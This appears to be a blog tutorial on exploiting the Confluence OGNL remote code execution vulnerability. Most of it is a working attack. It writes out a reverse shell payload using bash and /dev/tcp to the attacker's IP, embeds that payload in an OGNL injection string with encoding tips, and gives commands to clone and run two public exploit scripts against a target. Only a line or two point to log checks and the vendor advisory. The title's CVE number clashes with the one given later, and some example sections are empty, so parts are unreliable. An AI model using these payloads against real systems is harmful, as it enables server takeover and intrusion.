Exploit Confluence – CVE-2022-2613

On the 30th May of 2022, the security form Volexity identified a Remote Code Execution vulnerability at Atlassian’s Confluence. NIST entry can be found here. In the following, we will explore and use this exploit.

The Dev’s of Atlassian has released a advisory for the affected products.

You can identify recent attacks on your machine while viewing the Apache Tomcat logs and search/grep for HTTP GET requests with a payload like this:


To abuse this ONGL vulnerability, we create a payload that we ship with a normal HTTP GET request to the target system. For example, we can direct Java to run a simple command to create a reverse shell for us.

bash -c bash -i >& /dev/tcp/ 0>&1

Above you can see the code for a simple reverse shell. Now we need to encode the payload. You can use this website to encode. For my shell, this didn’t work out so I encoded the “command part” by myself.

/${@java.lang.Runtime@getRuntime().exec("bash -c bash -i >& /dev/tcp/YOUR IP/666 0>&1")}/
%20 = space

& = %26

> = %3E

To know this and how you can test for a vulnerability this works fine. For pentesting, you should use this GitHub exploit.

git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134

You can run the exploit like this:

python3 cve-2022-26134.py http://YOUR-IP:PORT/ <COMMAND>

For commands with spaces you need to set the command in “quotes”.

I also found a GitHub project which makes it way more easier to get a reverse shell. Just clone the project and run the command as followed to get a rev-shell.

git clone https://github.com/jbaines-r7/through_the_wire.git
python3 through_the_wire.py --rhost TARGET --rport PORT --lhost YOUR-IP --protocol http:// --reverse-shell

The vulnerability is fixed currently in the following versions:


That’s the state of 10th July, please check the page of Atlassian for updated information.

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